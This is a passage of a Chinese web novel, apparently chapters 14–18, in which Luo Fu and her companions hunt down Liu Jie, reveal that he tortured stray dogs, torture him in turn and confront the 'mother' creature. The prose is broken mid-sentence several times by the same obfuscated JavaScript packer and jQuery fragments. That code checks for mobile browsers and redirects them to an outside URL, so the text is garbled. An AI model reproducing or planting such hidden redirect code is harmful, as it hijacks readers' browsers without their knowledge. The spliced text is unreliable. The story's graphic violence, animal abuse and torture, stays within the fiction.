罗浮缓慢地摇了摇头:“不。虽然我没见过小白,但它是小黄的同伴,应该也是一只流浪狗——流浪狗怎么可能待在房子里?” 她转头看向封玉,眼底里翻涌着丝丝缕缕的怒意:“除非,有人把它抓回了家。” 难怪小黄那么挂念小白! 它们很可能是一起被那个畜生抓走的,小黄被虐待致死后自然就不知道小白后来怎么样了。 它体会过那些撕心裂肺的痛苦,因此至今担心着自己的好朋友,甚至形成了强大的执念。 这不一定是小白最后待的地方,但是小黄最后见到它的地方。 “啧。” 封玉烦躁地抓了抓头发:“这下麻烦了。那个人大概率是死了,可只有他知道小白在哪儿,我们怎么找?” 关键是,那些阴魂都被感染了,只会不断重复同一句话,即便他们大海捞针地找出虐狗者,也很难从他嘴里撬出什么来。 沉默在二人之间弥漫了好几分钟。罗浮忽然出声,说了一句毫不相关的话:“……你觉得,刘杰这人怎么样?” 封玉愣了愣,一脸的莫名其妙:“还行吧,挺讲义气的。之前还想去救你来着,虽然没成功就是了——怎么突然问起他了?” “是不是太巧了?” 罗浮笑了一下,笑意却始终不达眼底:“他早不走晚不走,偏偏在我们要去对付母体的时候走?这一走……可就再也没回来。” 封玉“啊”了声,有个念头在他脑子里虚虚的漂浮过去:“你什么意思?” “他见过不断重复‘你见过小白吗’的阴魂,也听见了母体那边传出的狗叫声。然后他就说要去找队友,走了。当时我们俩刻板印象,以为是某个人在牵挂ta的狗,可……” 罗浮盯着封玉的眼睛:“如果刘杰就是那个虐狗的人呢?他亲手抓走、残杀了小黄和小白,那他会不会早就猜到了——母体是小黄?” 14. 不是办法的办法 长安里是一座占地面积较大的回迁安置小区。更何况它如今变得满目疮痍,到处都是能够供人躲避的砖石缝隙。 所以若有人存心要藏起来,便是无论如何也不会被轻易找到的。 在罗浮和封玉绕着整个小区搜索了一个来回之后,本就遍体鳞伤的二人更加地狼狈不堪,灰头土脸的像两个泥人。 伴着又一阵“咕噜噜”的肚子叫,罗浮顿住脚步,望着远处漆黑的“污染罩”,低声轻叹:“这天好像永远都不会亮了。” 在黑乎乎的废墟里找一个故意躲起来的人,也没比大海捞针好多少。 这一圈找下来,别说刘杰了,连他的队友都没见到——要不是封玉说他的确见过两男一女,罗浮都要以为所谓的“队友”是刘杰的谎言了。 估摸着是刘杰找了什么理由,让他们也都躲起来了吧? 身后突然传来一阵窸窸窣窣的动静,罗浮回头看去,瞧见封玉掰开了一截断裂的水泥块,从下面捡起什么东西,直起身朝自己递了过来。 看清那东西的同一时间,罗浮听见他说:“刚好这下面压了只面包,不知道谁家的,你先垫垫肚子吧。” 话落,罗浮心脏狠狠一沉。 ……面包?那分明是一只血淋淋的断脚!它被砸得稀巴烂,碎骨渣滓白森森的突在外面,既恐怖又恶心,就算是瞎子也不可能把它当成一只面包! “愣着干嘛?拿着呀。”封玉又朝她递了递。 罗浮后退半步,神情复杂地看着他:“你仔细看看,这到底是什么?” 封玉“嗯?”了声,狐疑地低头盯着自己手里的“面包”,还将它拿高了凑到眼前转了三百六十度——他的鼻尖差点儿就要碰到那根软塌塌的大拇指了。 可当他抬头看向罗浮时,却一脸好笑的说:“草莓酱面包啊,不然还能是什么?总不能是馒头吧?” 他这话实在滑稽,罗浮也想笑,可怎么也笑不出来。 污染区内充斥着污染源,随着他们每一次呼吸、每一寸肌肤与空气的接触,始终源源不断地侵袭他们的身体。 而现在……它终于初见成效。 虽然封玉刚处于初期的精神污染阶段,但罗浮比谁都清楚:一旦开了这个头,蜕形种的侵占过程会在极短时间里接踵而至。 真是一波未平一波又起。 罗浮一点儿也不想知道勾魂使变成蜕形种之后会有多么强大,留给二人的时间不多了。 她呼出口气,目光凝重地看着封玉:“我知道你现在还能听明白我的话。记住,一定要时刻想着我告诉你的那些关键信息,千万别被抢走身体。” 封玉被她严肃的样子吓了一跳,转眼却又笑了起来:“干嘛突然这么认真?我知道啦,一直都记着呢,真是啰嗦。” 罗浮注意到,他语气和神态都变得懒洋洋的,有一种什么都不在乎的……洒脱轻松感?这状态就跟吸了那什么似的。 她不敢冒险,也不能把封玉自己扔在这儿。想了想,去废墟里扯出一片不知谁家的床单,割成绳子把封玉五花大绑起来。 她留了一段绳子牵在手里,拉着人随意挑了个方向,走过去找了处隐蔽的藏匿点。 ……看着面前一脸憨笑的封玉,罗浮真是不知道该怎么办才好。 其实二人是有一个备用计划的: 如果一圈搜索下来找不到刘杰,罗浮便利用【一句话故事】给自己施加一个“追踪目标”的能力,再由封玉去把人抓起来。 不用想都知道,这种覆盖范围较大的“故事”会让罗浮消耗极大的能量。所以二人都抱着“能直接找到人最好”的心态,没有在一开始就用上。 只是没想到……偏偏封玉在这时候出了问题。 而“故事”只能作用在一件事上。哪怕罗浮说“封玉不会被感染”,那等她用上“追踪目标”的时候,封玉还是会变成一个只会嘿嘿傻笑的憨包。 她有些头疼地起身走出去,搬来一些碎石将封玉藏在里面,低声叮嘱道:“哪儿都别去,在这里等我。” 封玉像喝了假酒似的,迷迷瞪瞪地将眼睛凑在一条小缝上盯着罗浮:“咦,你这颗花生怎么还会说话呀?你的嘴在哪儿呢?” 罗浮:“……” 神经病。 正如她所想的一样:一旦出现感染症状,之后的进展便会如潮水般一发不可收拾。 短短时间里,封玉已经严重到了如此地步。 罗浮忍不住想:还好她当时直接昏迷了,否则也不知道会做出多么滑稽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679015|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丢人的事儿来。 她叹了口气,懒得搭理一个傻子,转身便走。 没走几步,又听见身后传来对方的声音:“……你,小心!一定杀了母体……” 她脚步顿了顿,没回头:“放心。” 除了追踪目标,还有什么既能找到人、又不必消耗过度的能力? 罗浮静静靠在断墙边,花了将近五分钟,终于想出一个称不上办法的办法。 她抬头看向黑沉沉的污染罩,张口轻轻地说:“刘杰的身体会发光。” ——作用在一个人身上的、不是特别强大的能力,条件达成。 饶是如此,罗浮还是两眼一黑,从后脑勺位置爆发出一阵强烈的眩晕感。 还好,可以接受。 她顺着墙壁滑下去坐在了地上,在慢慢恢复的同时,安安静静地等。 十分钟后,左前方陡然发出“嘭”的一声巨响。 罗浮缓缓起身,抬眸望去,只见那边已然飘荡起浓郁的灰尘。还有一些大大小小的石块漫天飞,一看就知道正在发生激战。 她艰难地咽了咽口水——不知多久没吃没喝了,几近于无的唾液吞下去,喉咙里立刻滚过一阵干疼。 不紧不慢地走向那个方位,在距离还有百米的时候,罗浮爬上废墟堆远远望去—— 污染物和人类似乎陷入了僵持阶段。 在那些影影绰绰的身影中,罗浮首先看到的就是浑身发光的刘杰。 他和一男一女站在一起,地上好像有一具只剩半截的残尸,估计是他们的另一个队友。 那个女人右手变成了一条漆黑的不明物体——由于距离太远罗浮看不清,只知道它像条蛇似的卷在了一只污染物的身体上。 似乎就是因为这只污染物被扣住成了“人”质,双方才突然陷入了僵持。 ……所以说,这是个“不是办法的办法”。 罗浮只想抓刘杰,但这个办法必然要连累跟他躲在一起的其他人。他们大概率都是今夜污染爆发之后才结识的,根本不知道刘杰的真面目,实在不该为此而丧命。 可若是不这样,再拖延下去就连封玉也可能会死。 相比于几个陌生人的性命……老实说,罗浮更想保护自己的同伴。 15.满口谎话的臭男人 “……把它放了,我们可以让你们走。” 大约三十只污染物将刘杰等人围在中央,其中一只像滩烂泥似的玩意儿趴在最前方,代表所有污染物发言——谁也不知道这种连嘴都没有的东西到底是怎么说话的。 刘杰目光警惕地盯着它,对身边的女人说:“别听它的,现在这种情况就算它们暂时放我们走了,我们也很快会被追杀的!” 毕竟他跟个灯泡似的发着光,在黑乎乎的污染区里往哪儿躲都会被一眼瞧见。 “叽咕”一声,女人右臂连接的黑蛇蠕动了一下,将被挟持的污染物捆缚得更紧了。 仔细看去,甚至能看见一颗倒三角状的蛇头正在嘶嘶的吐信。 她手里的污染物是个保持着人形、却从头到脚都长满了复眼的家伙,那些金黄的眼珠子时时刻刻都在转动,看上去非常掉SAN值。 “我说……” 另一个男人慢悠悠地开口了,语气里不仅丝毫没有紧张感,甚至还带着些笑意:“其实会被追杀的只有你而已吧,我们为何要跟你拴在一起呢?” 不知道这么形容是否准确:他的态度和语调,就像是一阵春风吹着青草香,轻轻浅浅地拂了过去。 让人觉得他什么都不在乎、什么也不怕。当然——更不关心刘杰这位“队友”的死活。 罗浮早已悄悄摸到了附近,躲在一片浓黑里,视线不自主地落在了此人身上。至少听得出来,他们的确是临时成为队友的,并没有特别深厚的情义。 “你这话是什么意思?”刘杰皱起眉头,阴阳怪气地嗤笑道:“没遇上危险的时候是队友,一遇险就分道扬镳了?宁真,你怎么说?难道你也是这种人?” 如果细心一点就会看得见:他身下的影子不自然地被拉成了细长的条,一直延伸到了对面那群污染物的影子里。 这显然就是他无法使用【影子戏法】逃走的原因。 “我只有一个问题。” 被刘杰问到的宁真斜斜看着他,一开口,红酒般醉人的嗓音便飘荡开来:“你身上的光是怎么来的?若是有说得过去的理由,我无论如何也不会抛下你。” 换言之:如果那理由站不住脚,她也会和那男人一样抛弃他。 而现在污染物的“人质”在她手中,她就是最有话语权的人。 罗浮也很想知道刘杰该怎么解释这个问题。 “……我真的不知道。”刘杰摇着脑袋,面部表情夸张地表现自己的无辜:“应该是某个污染物有类似‘让敌人现身’的能力,偏偏这么倒霉落到我头上了!” 果然是两头骗。 罗浮相信,刚遇见刘杰的时候他的确带着“击杀污染物”的正义目的,也是真心实意地想做这件事。 但后来他发现母体与自己脱不开干系,为了保命就只好两头骗了。 可这个谎言……真能行得通吗?那两人看上去可都不蠢呢。 这个念头刚刚闪过,那男人便短促的笑了一声:“起初我们是被一只污染物发现的,不是一群。” 如果是污染物在使用某种能力寻找人类,在已知会找到人的情况下,当然要成群结队地行动,怎么会是单独一只? 刘杰明显的慌了一瞬,急迫地开口想要解释什么,可才说出一个“我”字,就被宁真抬手打断了。 她的目光落在最前方那滩“烂泥”身上,沉声道:“不必多说了——我们同意放了它。你们散开,让我们先走出一百米。” “唔,至于这满口谎言的家伙就留给你们好了。”那男人补充了一句。 宁真耸耸肩,并无异议。 刘杰强撑起来的镇定终于彻底裂开,慌张和恐惧一瞬间填满了他的脸。 他急忙伸手去拉宁真:“你们不能这样!别忘了,你男朋友可是为了救我才死在这里的!如果抛下我,他不就白白牺牲了吗?!” “哦。”宁真不怎么在意地瞥了一眼地上那半具残尸,红唇勾起一抹堪称残忍的笑意:“你说他啊?嗯,怎么说呢?一个妄想以姿色上位的男大学生罢了。他能让我开心,我就养着他玩玩而已。什么男不男朋友的,就他——可别侮辱我了。” 罗浮:……原来是个令人羡慕的富婆姐姐啊。 咳,说回正题。不管怎么样,现在刘杰可不能交给污染物,她还得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687798|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带去交差呢。 “那就这么说好了。”烂泥似的污染物刚一出声,周围那一群丑陋的怪物便不约而同地四散开去,给二人留出了一条大道。 罗浮眯了眯眼,当即从趴伏的黑暗里站起来,出言道:“刘杰还有用,绝对不能交给它们。” 双方剑拔弩张,谁都没注意到附近还躲了一个人。 转眼间所有视线全部落到了她身上,其中最引人注意的,自然是刘杰出离愤怒的眼神。 “哦?是之前见过的那位小姐啊。”男人始终笑吟吟、慢悠悠的声音率先传来:“比起昏迷不醒的样子,果然是现在更让人心动呢。” ……好像完全不在意罗浮刚才那句话。 罗浮可没功夫跟他扯淡,扬声说道:“想活下去的话,你们就带他一起走,之后的事交给我。” 刘杰“呵”了声,咬牙切齿道:“当然是交给你了!除了你谁有本事让我浑身发光?!宁真,萧久,你们看好了,就是这个女人害得我们到如此境地,你们真的要相信她的话吗!” 可男人只是发出几声清醇的低笑:“……让人发光,还真是个既废物又有用的能力啊。” “废物”罗浮挑了下眉,碍于污染物在旁边,不敢把话说得太清楚,只能强调:“总之他暂时不能死,不管你们信不信——丢下他的话你们会后悔的。” 男人偏了下头:“宁小姐,你说呢?” 一直没说话的宁真远远望着罗浮,湖水般的眼睛弯了弯,笑说:“比起满口谎话的臭男人,我当然更愿意相信漂亮的女孩子。” 可话音未落,一把银亮的厨师刀“唰”地划破空气,在所有人看清之前,猝不及防砍在了宁真右臂幻化出的黑蛇身上! 优雅漂亮的女人“嘶”的倒吸一口凉气,黑蛇瞬间扭曲变形,略微松动了一些。 机会转瞬即逝,但那只浑身都是黄色复眼的污染物偏偏牢牢将它抓住了——竟极快地化作一颗巨大眼球,骤然冲入了同伴之间! 尽管男人立刻甩出了几颗不知是什么效果的圆球试图阻拦,却还是没来得及。 他们手里的“人质”……就这么没了。 16.又抓住了最关键的人物 “你这蠢货!”宁真怒极,右胳膊早已变回原状,上臂处赫然是一条深可见骨的伤口。 代表着刘杰的那道黑影发出一声冷笑,迅速化作人形——虽然他脚下动弹不得,但使用【影子戏法】后行动速度暴增,他便是借此挥刀突袭了宁真。 那把厨师刀还在他手中缓慢地滴血。 “呵……这下可好,谁都别活。” 叫做萧久的男人还是那副波澜不惊的样子,仿佛四周潮水般向他们涌来的恐怖怪物只是一群在万圣夜装扮起来的小孩儿。 罗浮位置倒还好,本就不在污染物的包围圈里,这会儿若是转身就跑的话,谁也没办法拦住她。 但刘杰在这儿,她不能走。 怎么办——污染物可不会给他们思考应对之策的时间。一眨眼的功夫,那些危险的身影便将三人统统淹没在了中央。 下一秒,包围圈里却“砰砰”几声出现了小范围的爆.炸。 最前方的污染物首当其冲,罗浮清楚地看见一些形状诡异的残肢、碎肉被炸上了半空。 可其他污染物还是义无反顾地一拥而上,仿佛早已用某种人类听不见的声音达成了“不惜一切代价杀死这些人”的共识。 但是——如果它们这么不在乎自己或者同伴的性命,刚才又为什么会为了那只俘虏停手? 罗浮心中一动,目光在怪物群中搜寻了好几圈,果然无论如何也没看见那只浑身长满了金黄复眼的家伙。 - “砰——” 又一颗弹珠大小的半透明圆珠砸在污染物身上,转瞬间炸开一朵猩红的血花。 耀眼的金色火星夹杂在血红色里倾泻而下,流绘出一朵绚丽妖冶的烟花。 “如何?对我的烟花秀还满意吗?” 即使被团团围住,萧久还是那副懒散悠闲的模样。他五指微张,修长的手指间稳稳夹着数颗看似平平无奇、甚至有些温润的圆珠。 【烟花秀】 众所周知——我们的心愿是世界和平。 会轰然炸开的不仅有战争里的导弹,也可以是漫天的绚烂烟花。 当你需要使用该能力时,请保持“以战止战”的正向心念,否则烟花是不会为你绽放的哦。 “哈麻批!”相较之下格外狼狈的宁真已经被逼出了方言:“都啥子时候了……还在那装逼?!” 她的右臂再度化为黑蛇,却因那道伤的存在不怎么灵活,正极其艰难地缠绕着两个试图接近她的污染物。 与此同时,刘杰趁乱开启了【影子戏法】,抓住那只污染物顾不上再禁锢他的时机,从缝隙中迅速溜了出去。 可下一刻,一把通体漆黑的长刀“唰”的横在了他脖子上。 刘杰悚然一惊,差点儿没控制住身形直接撞上刀刃! 他脖颈处立刻裂开一道血口,却顾不上管,猛一转头看向来人:“你是不是没完……” 剩下的话哽在了喉咙里。因为那个握刀的并非他意料之中的人,而是一只非常眼熟的、浑身长满复眼的污染物。 ……刘杰后知后觉意识到,原来自己不知何时已经不再发光了。 化作污染物的罗浮单手将刘杰裤腰死死抓住,目光朝距离较近的宁真扫了一眼——浑身密密麻麻的复眼也跟着转了方向。 她没有说话,悄悄将握在掌心的小石子儿扔了过去。 宁真只以为是污染物偷袭,猛然回身,红唇一张,竟吐出一条又长又细的蛇信来! 罗浮刚侧身闪到一只污染物身后,蛇信便“唰”的刺进了它身体。分岔的尖端穿透身躯,正好出现在罗浮眼前! 怎么一个个都有这么强的能力? 念头一闪而逝,罗浮一把抓住紧随而至的黑蛇,身体半旋,故意让它将自己缠了起来。 她立刻感觉到黑蛇僵滞了刹那,立马略微放松了些许,只是虚虚地缠在她身上。 “都别打了!”红酒般香醇的嗓音瞬间穿透了乱糟糟的战场:“你们的人又被老娘抓住了!” 前一秒还轰隆隆乱响的环境,一下子安静得落针可闻。 在数十道属于污染物的视线落到自己身上时,罗浮浑身复眼咕噜噜的转了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693242|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一圈儿,仿佛在说:不好意思,又是我。 虽然不知原由,但这只污染物的确有着不同的地位——那些悍不畏死的蜕行种竟真的乖乖停下来,不约而同退出了一段距离。 罗浮清楚的听到身边的宁真偷偷松了口气。 萧久笑眯眯的夸奖道:“真不愧是勇敢强大的宁小姐,又抓住了最关键的人物呢。” 他的语气优哉游哉的好像始终游刃有余,但实际上他早已遍体鳞伤。 甚至右手肘都被折断了,一截白生生的断骨从肉里冒出了头,让人看上一眼都忍不住跟着幻疼! 宁真则是腹部撕裂、左大腿插着一根不知哪儿来的触手。 那玩意儿黑乎乎的,有小孩胳膊那么粗,软绵绵地耷拉在她大腿上,像一只被放大了百倍的吸血蚂蝗。 看得出来,若不是罗浮用了这个办法,他们最多还能坚持两三分钟。 “还是那句话,放我们走出一百米,我就放了它!”宁真喘着粗气大喊道。 这一次刘杰可没机会再动手脚。他也不敢戳穿罗浮,否则他一定会是第一个遭殃的。 于是,体无完肤的萧宁二人,终于顺利走出了污染物的包围圈。 一百米后,罗浮低声开口:“我数到三,你们带刘杰去三栋那边但不要靠太近,等我过去会合。最重要的是——不要杀他。” 二人对视一眼,萧久道:“自己小心,我们可不会回来救你。” 罗浮笑了下:“一……二……三!” 缠绕在她身上的黑蛇迅速收回,转瞬间将刘杰从头到脚卷了起来。 萧久拖着宁真,宁真拖着刘杰,三道身影以最快速度拐入旁边的废墟堆,几秒后便消失无踪。 罗浮回头望去:污染物们正飞快赶来。 她叹了口气:“我能隐去身形和一切属于人类的气息。” 话音未落,目之所及的一切物件蓦地失去了所有颜色,天地开始倒转,无穷无尽的眩晕感侵袭而至。 罗浮强撑着用最后一丝理智挪了挪位置,将自己摔在了杂乱的废墟堆上。 17.贷款 “嘶……” 钻心的剧痛从右侧小腿处传来,终于将罗浮唤醒。 她神智迷蒙,浑身发软,虽然已经睁开眼睛,却连看一眼痛处的力气都没有。又轻又促地不知喘了多少口气之后,才总算稍稍缓过来一点儿。 第一时间,是发觉面部和脖颈间糊了一层东西。她吃力地抬起手摸了摸,凑到眼前,看见满手猩红的血。 口腔里还残留着铁锈味,想必是在昏迷之后吐过血了——罗浮不禁庆幸自己加了个“隐去人类气息”的条件。 手再次无力地垂落下去,打在一块冰冷的红砖上。 小腿处一跳一跳地疼着,还有些木然的麻,不看都知道大概伤得挺重。 罗浮几乎将全身的力气都放在了两条胳膊上,总算是一鼓作气坐了起来。 ……原来是一大片断墙倒了下来,从断墙里冒出的一截钢筋刚好刺进了小腿肚。 估摸着是那些污染物看到她忽然原地消失,于是不死心地在附近搜索过。过程中翻找了废墟,把这面断墙也给推倒了,正好造成这个局面。 没被发现还真是万幸。 罗浮软绵绵地靠在碎石上,发愁地看着那截狰狞的钢筋。 她肯定弄不断。若是拔出来,先不说出血量会不会致命,那种剧痛也可能让她再次昏迷过去。 这下可麻烦了。 虽然不至于毫无办法,但这显然需要很多时间——如果有时间让她恢复过来,就能用“故事”解决这个问题。 身边没有能帮忙的人,这似乎是唯一的办法了。 再怎么心急,罗浮也只能陷入无奈的等待中。 不知过去多久,死寂的空气里突然荡开一声轻微的“咯”。 就像是有人行走时不慎踩到了一块小石子,石子摩擦着地面滚了开去。霎那间罗浮便像只受惊的猫似的浑身汗毛竖立,连忙坐直身子戒备地盯着前方。 地面上一抹修长的影子率先映入眼帘,它的脚部连接着一只黑色马丁靴,随着靴子落地,一道熟悉的身影阔步而来。 萧久几乎无声地走了几步,停下来张望了一圈儿,面上难得地露出苦恼之色,随即继续向前走去。 步子刚刚迈出,却听一声轻轻的呼喊自左后方传来:“萧久……” 他顿了顿,循声向那个方向走了几步,压低声音问:“在哪儿?” 正如写小说一样,不管写得再艰难,删除起来总是不费吹灰之力的——罗浮解除了隐匿状态,还有皮肤的半边脸惨白地笑了一下:“这里。” 十分钟后,罗浮嘴里塞着一团布,冲萧久点了点头。 对方毫不留情地猛然一拔——伴着粘腻的叽咕声,硬生生将她的腿扯了下来。 罗浮忍不住发出极度痛苦的闷哼,两眼一黑便晕了过去。 可也没晕多久,几乎下一秒就又被疼醒了过来。 萧久镇定地瞥她一眼,左手动作不停,抓着一片用床单割成的绷带,用力缠在了那触目惊心的伤口上。 罗浮都不知道在这短短时间里自己晕过去了几回,总之最后缓过来时已经浑身大汗淋漓。 萧久的右臂被处理过了,这会儿用一段印着蜡笔小新的布吊在脖子上,看上去有些滑稽。 他坐在旁边等了会儿,见罗浮清醒了才说道:“出了点儿小小的意外——宁小姐被感染了,刘杰被我打晕了单独绑在一个地方。加起来等了半小时都没见你过来,只能出来找找了。” 罗浮苦笑:“受伤后感染概率会增加很多,这也是没办法的事。” 她和封玉都是这么中招的,估计萧久也撑不了多久。 “现在需要做什么?”萧久问:“刘杰那家伙到底有什么秘密?你之前说过他死了我们会后悔,是否与污染区有关?” 罗浮舔了舔干裂的嘴唇,简单讲了讲原由:“……所以现在要尽快带他去母体那里。” “唔。”萧久瞥了一眼她缠成粽子的腿,又晃了晃自己挂在胸前的右臂:“照你说的,那里有很多污染物——就凭我们?” 罗浮咬咬牙:“……先带我走,给我时间缓缓。” 艰难地趴在萧久过于坚硬的背后,躲避着一只只游荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697188|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的污染物,二人好不容易到了刘杰被藏起来的地方。 这是墙体倒塌后形成的三角状空间,萧久扒拉开外面乱七八糟的掩体,放下罗浮帮她挤进缝隙,总算进入了一片稍微开阔些的空间。 刘杰还昏迷着,嘴巴被堵了,脑袋上糊着一片血,萧久显然下手不轻。 罗浮坐在地上,轻声问道:“宁真呢?” 萧久耸耸肩,理直气壮:“都感染了,迟早变成蜕形种,还管她做什么?” 罗浮没说话,靠在石块上让自己慢慢恢复。 “我说,”萧久懒洋洋的打了个呵欠,在斜对面坐了下来,“你这能力,能不能‘贷款’啊?” 罗浮伤口疼得不行,脑子糊里糊涂的,一时没反应过来:“贷款……?钱?” 萧久被她气笑了,下意识抬起手要敲她脑袋,又忽然一僵,像是想起了什么人似的,脸色微微变了一瞬。 他缓缓放下手,又露出那副懒散的笑脸:“我的意思是,你能不能给自己施加一个例如‘一小时后再承受能力反噬’的状态?” 罗浮怔了怔:“……倒也是个办法,我想想。” 主要是,得在“一句话”的范围里,同时达成这个目的和能让她带着刘杰顺利进去找到母体的能力。 等等…… 罗浮念头一顿,忍不住笑自己蠢:“为什么非得去找母体?让它出来不就好了?” - 长安里,幸存下来的垃圾房。 之前藏在这里的污染物早就离开了,里面只剩下三只大大的绿皮垃圾箱。 萧久吃力地单手拖着垃圾箱往外挪,花了将近二十分钟,总算腾出一块足够大的空间。 罗浮靠在墙边,扫了眼身边依旧昏迷的刘杰,轻轻吸了口气,开口道:“我可以拥有一小时满状态并召唤‘母体’小黄来这里见面。” ……没有任何不适感,连轻微的眩晕都没出现。 但当那道黄棕色的身影像马赛克似的在空地间闪动成型时,罗浮完全可以预料到,一小时后她将付出的代价,说不定会是死亡。 18.因为是队友 “嘘,千万别叫。” 残缺不全的母体刚一现身,罗浮便率先开了口。 萧久在看清小黄模样后狠狠皱了皱眉,语气里多了几分冰冷:“……你说这都是刘杰做的?” 罗浮瞥了眼依旧没醒的刘杰:“我比谁都希望不是他。” 虽然认识时间不算长,可也算并肩作战过。如果不是这事儿,说不定二人以后会成为关系很不错的同事。 她叹了口气,趁着“一小时满状态”buff,跟萧久一起将人拖到了小黄面前。 面目全非的巨型犬低下脑袋,湿漉漉的鼻头轻嗅了几下,随即两只黑洞洞的眼眶望着罗浮的方向,发出几声轻轻的“嘤”。 罗浮知道它的意思——对它来说,重要的不是报仇雪恨,是小白在哪里。 她转头对萧久说了句:“你稍微退后点儿。” 对方刚一退开,她便召出长刀毫不犹豫地挥了下去。 能够砍杀灵魂的地狱长刀削铁如泥,“唰”的一声,轻而易举斩断了刘杰的右手。 剧痛来袭,昏迷的男人瞬间爆发出一道尖锐惨叫,却因嘴里死死堵着东西,只溢出一点儿低哑的“呜呜”声。 不到三秒,他已经疼得涕泪横流,被五花大绑的身体像条濒死的鱼不停挣扎摆动! 如此惨状,令罗浮忍不住嘲讽了一句:“刀落在自己身上就知道疼了?这可才还了你一刀。” 刘杰呜呜咽咽的,两眼一翻又晕了过去。 萧久一脚踩在他断臂上,不轻不重地碾了碾,愣是把人又给疼醒了过来。 见刘杰面色惨白奄奄一息,总算是没了惨叫的力气,罗浮才扯出他口中的破布,语气平静地说道:“说吧,小白到底被你怎么样了?不老实交代的话,我就让你把小黄承受过的折磨全部清醒地感受无数遍。好心奉劝你——千万,别拖到你求着我让你死的时候去。” 正因她语调过于冷静,反而让刘杰清楚的意识到:这女人是真的会说到做到。 他视线快速扫过那只无比眼熟的狗,在看见对方四肢末端白森森的骨头时,蓦地打了个冷战。 干涩起皮的嘴张合好几下,刘杰终于溢出一阵嘶哑的声音:“……那天是我的生日,这两条狗算是我给自己准备的生日礼物。 “黄狗死后,我是准备等第二天再虐……再杀白狗的。所以下楼把黄狗的尸体扔到了垃圾箱里,没想到,刚回家清理完卫生间,本该在异地的女友忽然敲响了我家的门。” 那个女孩是故意说请不了假,实则悄悄过来给他惊喜的——当然对他来说更像是惊吓。他找不到理由拒绝女友进门,于是女孩立刻看见了被他关在客厅狗笼里的小白狗。 刚亲眼看着自己好朋友惨死的小白,缩在狗笼角落里,呜呜咽咽的可怜至极。 面对女友惊讶的询问,刘杰只好说自己是看流浪狗可怜捡回来的,想帮忙找个人领养。 “……于是她说,她很喜欢…这只狗……想带回去养。” 刘杰被斩断的手肘一直在汩汩冒血,失血过多令他两眼发黑,连喘气都变得困难起来。 他重重喘了几次,才勉强说道:“所以小白没死……而且…我只是杀了一条狗而已…赫……不至于要赔命吧?你们能不能…留我一命?” 罗浮没理他,抬眸望向那只惨不忍睹的巨型犬:“他说,小白没死,被一个好心的女孩带回家了。” 刘杰到底是不是在撒谎谁也不知道,但这并不重要。 重要的是小黄能不能听懂、会不会相信? 但或许,不论它变成什么样都还是那只过于单纯的小狗——它轻轻呜咽一声,努力伸了伸舌头,想要舔一舔罗浮的脸。 下一秒,庞大的身躯逐渐飘散出丝丝缕缕的黑色雾气。 它的身体在雾气中逐渐化为乌有,罗浮后退两步,和萧久一起目送它最后一程。 当越来越浓的黑雾终于消失后,原地只剩下……一只大约一米长的、黑色软体生物。 它上半截看上去像极了滑腻恶心的蛞蝓,下半段却鼓胀成巨大的气球,黑色皮肤被绷得几近透明,甚至隐约能看见里面装满一颗颗黑白相间的、形似眼球的“卵”。 它似乎没什么战斗力,此刻虽然察觉到了危险,却只能拖着巨大的肚子,像蜗牛似的爬行。 “……这就是母体本尊?”萧久嫌恶地啧了声:“真够恶心的。” 罗浮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15714466|173191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说话,手中长刀一扬便要砍了它。 